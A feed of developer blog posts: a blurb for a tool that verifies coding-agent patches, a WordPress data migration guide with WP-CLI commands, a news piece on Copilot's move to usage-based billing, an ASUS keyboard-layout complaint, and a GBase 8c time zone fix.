Wraps third-party coding-agent CLIs (Copilot, Claude Code, Codex), runs worker and reviewer steps on isolated git branches, and applies a five-layer falsification battery to each agent-authored patch. Hard gates block patches that fail intent or regression checks; advisory layers feed a composite score.

You run this around an agent CLI, not instead of one. The agent produces the patch; the orchestrator tries to break it. Patches that survive merge to main; patches that don't are rolled back with a verification report.

Features

Five-layer falsification battery. Intent verification, regression and mutation testing, cheat detection, property-based testing, and signed attestation. Layers 1 and 2 are hard gates; layers 3 to 5 feed an advisory composite score. Implementations live under src/verification/.
Isolated worker and reviewer steps. Each step runs…

View on GitHub

The Hard Way: Lessons Learned from Real-World Data Migration Projects

Kushang Tailor — Thu, 30 Apr 2026 05:25:48 +0000

The Hard Way: Lessons Learned from Real-World Data Migration Projects

How three years of ignoring data migration nearly derailed my dev career — and what I spent the next years mastering.

What Is Data Migration?

Data migration is the process of moving data from one system, format, location, or environment to another. It sounds straightforward — until it isn't.

At its core, data migration is about transfer + transformation + validation. You're not just copying files; you're ensuring that data arrives at its destination intact, usable, and consistent with the target system's structure and rules.

Types of Data Migration

1. Storage Migration
Moving data from one physical or cloud storage system to another — e.g., from on-premise servers to AWS S3 or Google Cloud Storage.

2. Database Migration
Transferring data between database engines (MySQL → PostgreSQL), versions, or schemas. This often involves restructuring tables, rewriting queries, and handling incompatible data types.

3. Application Migration
Moving data as part of migrating from one application to another — e.g., from a legacy CRM to Salesforce, or from a static HTML site to a CMS like WordPress.

4. Cloud Migration
Migrating workloads and data from on-premise infrastructure to cloud platforms, or between cloud providers.

5. Business Process Migration
Triggered by mergers, acquisitions, or system upgrades — involves consolidating or restructuring data from multiple sources into a unified system.

6. WordPress-Specific Migration (more on this shortly)
A category unto itself — involving database exports, media files, plugins, theme settings, serialized data, and URL structures.

Data Migration in WordPress

WordPress stores almost everything in a MySQL database — posts, pages, users, settings, metadata, plugin configurations — and media files separately on the server. This dual structure makes WordPress migrations uniquely nuanced.

A WordPress migration typically involves:

Database (wp_* tables) — posts, terms, options, users, meta
wp-content/uploads/ — all media files
wp-config.php — environment-specific configuration
Theme and plugin files — code that must be compatible with the target environment
Serialized data — PHP-serialized strings stored in the database that break if you do a naive find-and-replace on URLs

WordPress migrations are common in scenarios like:

Changing domains or hosting providers
Moving from single site to Multisite
Migrating to managed or enterprise-grade hosting (WP VIP, Kinsta, Pagely)
Rebuilding a legacy site in WordPress

The Problem: What Goes Wrong (And Why)

Data migration failures are more common than the industry likes to admit. Here's what I've seen cause the most damage:

1. Broken URLs and Serialized Data

WordPress stores serialized PHP arrays in the database. A simple SQL FIND & REPLACE on the old domain will corrupt those strings because they contain byte-length metadata. The result: broken theme options, widget configurations, and plugin settings that silently fail.

2. Missing or Orphaned Media Files

The database records can transfer perfectly while media files are left behind on the old server — broken images everywhere, no obvious error.

3. Character Encoding Issues

Moving between servers with different MySQL collations (e.g., utf8 vs utf8mb4) can corrupt special characters, emojis, and multilingual content.

4. Plugin and Theme Incompatibilities

A plugin that worked on PHP 7.4 + MySQL 5.7 may fail silently or fatally on PHP 8.1 + MySQL 8.0 on the new host.

5. Skipping the Staging Phase

Going straight to production without a staging test is the single most common and most costly mistake. There's no undo button on a live site.

6. No Pre/Post Validation Checklist

Without documented baselines — post count, user count, page structure, form behavior — you won't know what broke until a user reports it.

7. SEO and Permalink Damage

URL structure changes without proper redirects tank search rankings. .htaccess rules and WordPress permalink settings must be verified post-migration.

8. Caching and CDN Serving Stale Data

After a migration, cached content from the old server can make the new site appear broken even when it isn't.

My Story: The Career Cost of Skipping This Skill

Let me be honest with you.

I spent my first three years in web development building things — WordPress themes, custom plugins, client websites. I was comfortable with HTML, CSS, PHP, and JavaScript. I thought I knew WordPress well.

What I didn't realize was that I had never touched data migration seriously. Not once.

When projects came up that required moving a site to a new server, changing domains, or restructuring content into a Multisite setup, I either avoided them or quietly handed them off. I told myself it wasn't "real development work."

That belief cost me. I walked away from projects I should have taken. I didn't get past certain interview stages at companies where migration experience was table stakes. Good opportunities at agencies working with enterprise WordPress clients — gone, because I couldn't answer questions about wp search-replace, serialized data, or staging workflows.

It wasn't a sudden failure. It was a slow leak — projects I compromised on, roles I wasn't confident enough to pursue, skills gaps that compounded over time.

Eventually, I decided to stop avoiding it.

The Safety Steps: How to Prevent Migration Disasters

Before touching any migration, build these habits:

✅ 1. Full Backup — Verified

Back up the database AND all files. Test that the backup actually restores. A backup you haven't verified is not a backup.

✅ 2. Document the Current State

Record baseline metrics: number of posts, pages, users, media files, active plugins, PHP version, MySQL version, WordPress version. Screenshot key pages. Run a broken link audit. You need a reference point.

✅ 3. Use a Staging Environment — Always

Never migrate directly to production. Set up a staging server (or use a local environment like LocalWP) that mirrors the production setup. Test everything there first.

✅ 4. Use WP-CLI for Reliable Search-Replace

Use wp search-replace with the --precise flag rather than direct SQL queries. This handles serialized data safely.

✅ 5. Verify DNS Propagation Separately

Don't conflate "migration complete" with "DNS updated." Test via hosts file override or a staging URL before pointing the domain.

✅ 6. Test Forms, Checkout Flows, and Dynamic Features

Static content is easy to verify. Test everything interactive: contact forms, WooCommerce checkout, membership logins, API integrations.

✅ 7. Have a Rollback Plan

Know exactly how you'll revert if something goes wrong. Document the steps. Set a rollback deadline during the migration window.

The Learning Curve: How Data Migration Actually Works

After committing to learning this properly, I built a workflow I still use today. Here's the foundation:

The Staging-First Philosophy

Every migration lives and dies by the staging environment. The workflow is always:

Development / Local → Staging → Production

Never skip staging. Never.

Before Migration: Pre-Flight Checklist

Audit the source site — document all plugins, theme, PHP/MySQL versions, custom tables, cron jobs
Backup everything — full database dump + all files, stored off-server
Verify the target environment — PHP version, MySQL version, disk space, server software (Apache/Nginx), SSL
Set up staging — mirror the production environment as closely as possible
Notify stakeholders — plan the migration window, communicate downtime if needed
Freeze content on the source site (put it in read-only or maintenance mode) before the final migration pass

The Migration Process (Step by Step)

Step 1 — Export the database

mysqldump -u DB_USER -p DB_NAME > backup.sql
# Or with WP-CLI:
wp db export backup.sql

Step 2 — Transfer files

rsync -avz --progress /path/to/wp-content/ user@newserver:/path/to/wp-content/

Step 3 — Import database on target

wp db import backup.sql

Step 4 — Update wp-config.php with new DB credentials, table prefix, and environment constants.

Step 5 — Run search-replace for the new domain

wp search-replace 'https://oldsite.com' 'https://newsite.com' --precise --all-tables

Step 6 — Flush rewrites and caches

wp rewrite flush
wp cache flush

Step 7 — Validate on staging — check all pages, forms, media, admin panel, user logins.

Step 8 — Go live — point DNS, verify SSL, run final flush.

After Migration: Post-Flight Checklist

[ ] All pages and posts load correctly
[ ] Images and media files display properly
[ ] Forms submit and send notifications
[ ] User accounts and roles intact
[ ] Admin panel fully functional
[ ] Plugins activated and configured correctly
[ ] SSL certificate active and no mixed content warnings
[ ] Redirects in place for any changed URLs
[ ] SEO plugin settings preserved (sitemaps, meta, robots.txt)
[ ] Google Analytics / Tag Manager firing correctly
[ ] Page speed acceptable (run Lighthouse)
[ ] Broken link scan complete

Monitor After Migration — For Weeks

Don't close the loop after go-live. Monitor actively:

Week 1: Check server logs daily. Watch for 404s, PHP errors, failed cron jobs.
Week 2–3: Monitor Google Search Console for crawl errors or ranking drops.
Week 4: Review uptime reports, form submissions, and any user-reported issues.
Set up uptime monitoring (UptimeRobot, Better Uptime) before you go live — not after.

What I Learned: Real Migration Scenarios

1. Static HTML Site → WordPress

This is a foundational migration type. The source has no database — everything lives in HTML files.

The process:

Inventory all HTML pages and map them to WordPress post types (pages, posts, custom types)
Extract content and import using WP-CLI or a custom script / WXR importer
Rewrite internal links to match WordPress permalink structure
Migrate images to wp-content/uploads/ and update references in content
Set up 301 redirects from old HTML URLs (e.g., /about.html) to new WordPress URLs (/about/)
Validate all redirects, check for orphaned pages

Key tool: WordPress Importer plugin, WP All Import for structured data, custom PHP scripts for bulk content.

2. WordPress Single Site → WordPress Multisite (Subdirectory)

This is one of the more technically involved migrations. You're converting a standalone WordPress install into a network node.

Steps:

Enable Multisite in wp-config.php and wp-admin/network/setup (choose subdirectory)
Run the network setup, update wp-config.php and .htaccess with network rules
Create the subsite at the target subdirectory path
Export content from the original site (WXR file or direct DB migration)
Import into the new subsite — users, posts, media, settings
Reassign user roles within the network context (Network Admin vs site-level roles)
Verify media uploads path (/wp-content/uploads/sites/[ID]/) is correctly mapped
Run wp search-replace scoped to the subsite's tables

Watch out for: plugins that aren't Multisite-compatible, user role conflicts, and network-activated vs site-activated plugin behavior differences.

3. WordPress to WordPress — New Domain and Hosting (WP-CLI Workflow)

This is the most common migration scenario, and WP-CLI makes it reliable.

# On the source server — export DB
wp db export old-site-backup.sql --add-drop-table

# Transfer files
rsync -avz public_html/ user@newhost:/home/user/public_html/

# On the new server — import DB
wp db import old-site-backup.sql

# Update site URL and home
wp option update siteurl 'https://newdomain.com'
wp option update home 'https://newdomain.com'

# Search and replace all instances of old domain
wp search-replace 'https://olddomain.com' 'https://newdomain.com' \
  --precise \
  --all-tables \
  --report-changed-only

# Flush permalinks and cache
wp rewrite flush --hard
wp cache flush

# Verify user count and post count match source
wp user list --format=count
wp post list --post_status=publish --format=count

Post-migration, set up 301 redirects on the old domain pointing to the new one. Keep the old domain active (don't let it expire) for at least 6–12 months to preserve link equity.

4. WordPress → WordPress VIP

WordPress VIP is an enterprise-grade managed platform with a strict code review process and a read-only production filesystem. Migrating to VIP is as much a code audit as it is a data migration.

Key differences on VIP:

No direct filesystem writes in production — uploaded files go to a distributed filesystem (VIP Files)
All code must pass VIP's automated and manual code review before deployment
No direct database access — use VIP's tooling
Plugin approval required — not all plugins are VIP-compatible
Local development uses vip dev-env (Docker-based local environment)

Migration steps:

Audit all custom plugins and themes against VIP coding standards
Replace any code that writes to the filesystem directly
Use VIP's media migration tools to transfer uploads
Import content via VIP's data migration pipeline (coordinate with VIP support)
Run full QA on VIP's staging environment before production launch
Monitor VIP's log dashboard post-launch

This migration typically requires coordination with the VIP team — it's not a solo operation.

5. Enterprise WordPress Site → WordPress Multisite (Subdomain)

This scenario often emerges from brand consolidation — multiple standalone WordPress sites being brought under a single Multisite network, each on its own subdomain (brand.example.com).

Challenges at enterprise scale:

High post/page volume — imports must be batched to avoid timeouts
Multiple user bases with different roles that need consolidation
Multiple third-party integrations (CRMs, DAMs, marketing automation) tied to the old site URLs
SEO preservation across all migrated properties
Editorial workflow tools (editorial calendars, approval flows) that must be reconfigured for the network

Process:

Set up Multisite with subdomain structure
Map brand.example.com subdomains using WordPress's domain mapping or a plugin like Mercator
Migrate each site individually and sequentially — never in parallel
Consolidate users carefully, reconciling duplicate accounts across sites
Update all third-party integrations one by one, confirming webhooks, API endpoints, and OAuth tokens
Perform site-by-site QA with dedicated checklists per subdomain
Coordinate DNS changes in batches with rollback windows per site

At this scale, automation matters — write scripts, use wp eval-file, lean on WP-CLI's --url flag to target specific subsites in the network.

Closing Thoughts

Data migration is not glamorous. It doesn't have a flashy demo. Nobody tweets about a successful database import.

But it is one of the most consequential skills a WordPress developer can have. Sites break in migration. Data gets lost. SEO disappears overnight. Businesses lose revenue.

Learning it properly — staging first, validating obsessively, monitoring after go-live — is what separates developers who can be trusted with production systems from those who can't.

I learned it the hard way. You don't have to.

If you've been through a migration disaster (or a migration victory), share it in the comments. The real lessons are always in the edge cases.

GitHub Copilot Just Killed Flat-Rate AI Coding. Here's What It Means for Your Team.

Kadek Pradnyana — Thu, 30 Apr 2026 05:24:18 +0000

On April 27, 2026, GitHub announced that all Copilot plans are moving to usage-based billing on June 1, 2026. The flat "premium request" model is dead. Welcome to per-token pricing for AI coding assistants.

If you're a solo developer, this might not change much. If you run an engineering team, you need to read this carefully — because your AI bill is about to become unpredictable in ways it wasn't before.

Here's what's actually changing, why it's happening, and what you should do this month.

What's Changing

Today, Copilot uses Premium Request Units (PRUs). You get a monthly bucket of requests, and every chat or agent prompt counts as one — regardless of whether it's a one-line question or a 30-minute autonomous coding session.

Starting June 1, 2026:

PRUs are replaced by GitHub AI Credits (1 credit = $0.01 USD)
Every interaction is billed by token consumption — input + output + cached tokens
Each model has its own per-token rate, matching published API rates
Code completions and Next Edit suggestions remain free across all plans
Plan base prices are unchanged: Pro $10/mo, Pro+ $39/mo, Business $19/seat, Enterprise $39/seat
Each plan includes monthly AI Credits equal to its subscription price (Pro = $10 in credits, etc.)

The big shift: a quick question and a multi-hour agentic session no longer cost the same.

Why GitHub Did This

Read between the lines of the official announcement and the picture is clear. Agentic coding broke the math.

A single autonomous coding session — running across an entire repo, calling tools, iterating, retrying — can consume thousands of times more compute than a chat question. Under PRUs, both counted as "one request." A handful of power users can cost more than the plan price covers.

GitHub said it directly in their April 21 update on individual plans: "It's now common for a handful of requests to incur costs that exceed the plan price."

That's not sustainable. Token-based billing aligns price with cost. It's the same reason every API provider has always priced this way.

Who Wins, Who Loses

Wins: Developers who mostly use code completions and light chat. You'll likely see no real change. Your $10 Pro plan probably never came close to using $10 in tokens.

Loses: Heavy agent users. If you're running long-trajectory agentic workflows — multi-step refactors, autonomous bug-fixing across files, parallel subagents — you'll feel this. The same workflows that gave you outsized value under PRUs are exactly what's getting expensive.

Maybe: Teams. It depends entirely on how your developers actually use Copilot. Some companies will save money. Others will hit budget caps mid-month for the first time ever.

The Annual Plan Trap

If you're on an annual Pro or Pro+ plan, GitHub is doing something clever and slightly hostile: you keep your existing PRU-based pricing until the plan expires — but model multipliers go up on June 1 for annual subscribers only.

Translation: your existing annual plan gets quietly worse. You can either ride it out at degraded value, or convert to a monthly plan early and get prorated credit.

If you're an annual subscriber, you should sit down before June 1 and decide which path actually saves you money. Don't ignore this.

What To Do This Month

For individual developers:

Check your current usage. GitHub is launching a preview bill experience in early May. Look at your Billing Overview on github.com and see what your actual token consumption would have cost you the past few months.
Audit which models you use. Different models have wildly different per-token rates. If you're defaulting to the most expensive premium model for tasks GPT-5 mini could handle, that habit is about to cost real money.
Decide on annual vs monthly. If you're on annual, run the numbers before June 1.

For engineering teams:

Set up budgets. Admin-level budget controls let you cap spend at the enterprise, cost center, or user level. Use them. Without caps, one developer running parallel agent workflows can blow through your monthly credits in a week.
Pool credits across the org. GitHub now allows pooled included usage instead of per-seat isolation. This is genuinely useful — your light users effectively subsidize your heavy users without anyone changing behavior.
Educate your team on model selection. "Use the cheapest model that works for the task" is now a real engineering practice with a real budget impact.
Watch out for Copilot code review. It now consumes both AI Credits and GitHub Actions minutes. Two meters running at once.

The Bigger Picture

This isn't just a Copilot story. Every AI coding tool is heading the same direction — Cursor, Cody, Continue, Claude Code. Token-based pricing is becoming the default because flat-rate doesn't survive contact with agentic workloads.

The era of "$20/month gets you unlimited AI coding" is over. What's replacing it is more honest, but also more demanding: you need to know what your AI usage actually costs, and you need to manage it like any other infrastructure spend.

For teams that have been treating AI coding as a free productivity boost, that mental model needs to change before June 1.

The good news: the tools to manage this are getting better. Budget controls, usage dashboards, and pooled credits all help. The bad news: you actually have to use them.

Originally published on lenkastudio.com. We help teams ship modern web, mobile, and AI-powered products. If you're rethinking your AI dev tooling and budget for 2026, let's talk.

Dear ASUS: Why Did You Turn My Right Ctrl into a Puzzle?

Alex Rezvov — Thu, 30 Apr 2026 05:24:03 +0000

On my ASUS ExpertBook B3404CVA running Kubuntu 24.04 (KDE Plasma 5.27.11, X11, Kernel 6.8.0-52-generic), I set the usual keyboard layout switcher via:

/etc/default/keyboard:
XKBLAYOUT="us,ru"
XKBOPTIONS="grp:menu_toggle"

Normally I set up layout switching through the standard graphical interface in Kubuntu — never had to think twice. But on this machine, it simply didn’t work. I had to fall back on this method. And even then, it works only intermittently:

sometimes with the Fn key,
sometimes without,
and there's no clear logic when or why.

🚨 Symptoms

Layout switching works... sometimes
Sometimes requires holding Fn to work
Sometimes doesn’t work at all
After suspend/resume — it starts working again
After reboot — might stop again
In short: totally inconsistent

And here's the kicker:

If I reboot, I can switch layout with a single press of the Right Ctrl/Menu key.
If the system was suspended and resumed, now I can only switch layouts by holding Fn + that same key.

Thanks, engineer from Masus.

🔍 My Investigation

Dug through xev, evtest, setxkbmap, xmodmap, libinput debug-events
Discovered that this key:
- Without Fn: emits Super_L
- With Fn: emits ISO_Next_Group
- Sometimes: emits nothing
Checked BIOS: no useful Fn key control (just Fn Lock Option, irrelevant)
Disabled fcitx5, tried .xprofile, systemd hooks, layout toggles
Tested grp:menu_toggle, grp:rctrl_toggle, grp:win_toggle
Sometimes it worked, then stopped, then resumed after suspend
Eventually wrote a systemd sleep hook that reapplies layout settings post-suspend

⏳ Time Spent

~10 hours over 4 days. I’m a developer. I know what I'm doing. If I struggled this much — imagine a non-tech-savvy user.

🙏 A Message to ASUS Engineers

Dear ASUS engineers,

Thanks for the light laptop, good build quality, and battery life. But please explain:

Why did you replace Right Ctrl with Super_L?
Why does the key's behavior depend on Fn state?
Why is there no BIOS/UEFI or EC override?

You spent your time, budget, and engineering effort to remove a standard key and made it inconsistent, undocumented, and non-overridable.

Please, just let users decide what the key does — especially when it's part of years of muscle memory.

📊 TL;DR

I hacked around it. I use a setxkbmap call from a systemd hook after suspend. It sort of works.

But it’s not stable. It still changes behavior after suspend. Fn sometimes required, sometimes not.

I didn’t fix it — I just learned to live with it. For now. I’ll be back to dig deeper into this absurd situation, but at the moment I simply ran out of time. The story isn’t over yet.

Originally published: Dear ASUS: Why Did You Turn My Right Ctrl into a Puzzle? — Alex Rezvov's Blog

Time Zone Pitfall When Migrating from MySQL to GBase 8c — and How to Fix It

Michael — Thu, 30 Apr 2026 05:24:00 +0000

When moving from MySQL to GBase 8c, the China-domestically developed database from GBASE, time zone configuration can surprise you. What works perfectly in MySQL may yield results off by 16 hours in GBase 8c — all because of a simple sign reversal.

This article reproduces the issue, walks through the diagnosis, and gives you two clean solutions to keep your timestamps accurate in a gbase database environment.

The Problem

MySQL offers two common ways to set the time zone:

-- Offset notation
SET time_zone = '+08:00';

-- Named time zone
SET time_zone = 'Asia/Shanghai';

Both work as expected.

Applying the same approach in GBase 8c, however, produces unexpected behavior:

swjtdb=# show timezone;
 TimeZone 
----------
 PRC
(1 row)

swjtdb=# select now();
       now()        
---------------------
 2025-10-19 22:23:18

swjtdb=# SET timezone = '+08:00';
SET

swjtdb=# select now();
       now()        
---------------------
 2025-10-19 06:23:39.868943-08  -- 16 hours behind

Notice the offset is shown as -08 instead of +08, resulting in a 16-hour gap. Switching to a named zone like SET timezone = 'Asia/Shanghai' immediately corrects the display.

Diagnosis

Using AT TIME ZONE conversions reveals the root cause:

WITH test_times AS (
    SELECT '2025-10-19 12:00:00'::timestamptz as test_ts
)
SELECT 
    test_ts,
    test_ts AT TIME ZONE 'UTC' as as_utc,
    test_ts AT TIME ZONE '+08:00' as as_beijing,
    test_ts AT TIME ZONE '-08:00' as as_negative
FROM test_times;

Result:

       test_ts         |       as_utc        |     as_beijing      |     as_negative     
------------------------+---------------------+---------------------+---------------------
 2025-10-19 12:00:00+08 | 2025-10-19 04:00:00 | 2025-10-18 20:00:00 | 2025-10-19 12:00:00

test_ts is noon Beijing time (+08)
AT TIME ZONE '+08:00' returns 8 PM the previous day, acting like UTC-8
AT TIME ZONE '-08:00' returns the correct noon

Confirming the sign flip:

SELECT 
    '2025-10-19 12:00:00'::timestamptz as base_time,
    ('2025-10-19 12:00:00'::timestamptz AT TIME ZONE '+08:00') as plus_eight,
    ('2025-10-19 12:00:00'::timestamptz AT TIME ZONE '-08:00') as minus_eight;

Result:

      base_time        |     plus_eight      |     minus_eight     
------------------------+---------------------+---------------------
 2025-10-19 12:00:00+08 | 2025-10-18 20:00:00 | 2025-10-19 12:00:00

Key takeaway: In GBase 8c, +08:00 is interpreted as UTC-8, and -08:00 as UTC+8 — exactly the opposite of what many developers expect.

Solutions

Option 1: Simplified Numeric Syntax (Recommended)

GBase 8c accepts a signless number, which bypasses the inversion entirely:

SET timezone = '8';    -- cleanest
SET timezone = '08';   -- two-digit form

For fractional offsets like +01:30, use a decimal:

SET timezone = '1.5';   -- equivalent to +01:30
-- or
SET timezone = '-01:30'; -- same effect but counter‑intuitive

Verify:

SHOW TimeZone;  -- returns 08:00:00
SELECT now();   -- shows correct UTC+8 time

Option 2: Named Time Zones (Standard Practice)

Named zones eliminate any ambiguity and are the safest choice across platforms:

SET timezone = 'Asia/Shanghai';
SET timezone = 'PRC';

-- List available time zones
SELECT name, utc_offset 
FROM pg_timezone_names 
WHERE utc_offset = '08:00:00'::interval;

Best Practices

Prefer named zones: SET timezone = 'Asia/Shanghai' is self‑documenting and consistent.
Fallback to simplified numeric syntax: SET timezone = '8' avoids the sign‑flip trap.
Avoid ISO offset notation when migrating from MySQL: for East‑Eight, set -08:00, not +08:00 — which is the opposite of MySQL and of instinct.

After any time zone change, a quick SELECT now() is the simplest way to confirm correctness and prevent subtle data corruption when running a gbase database.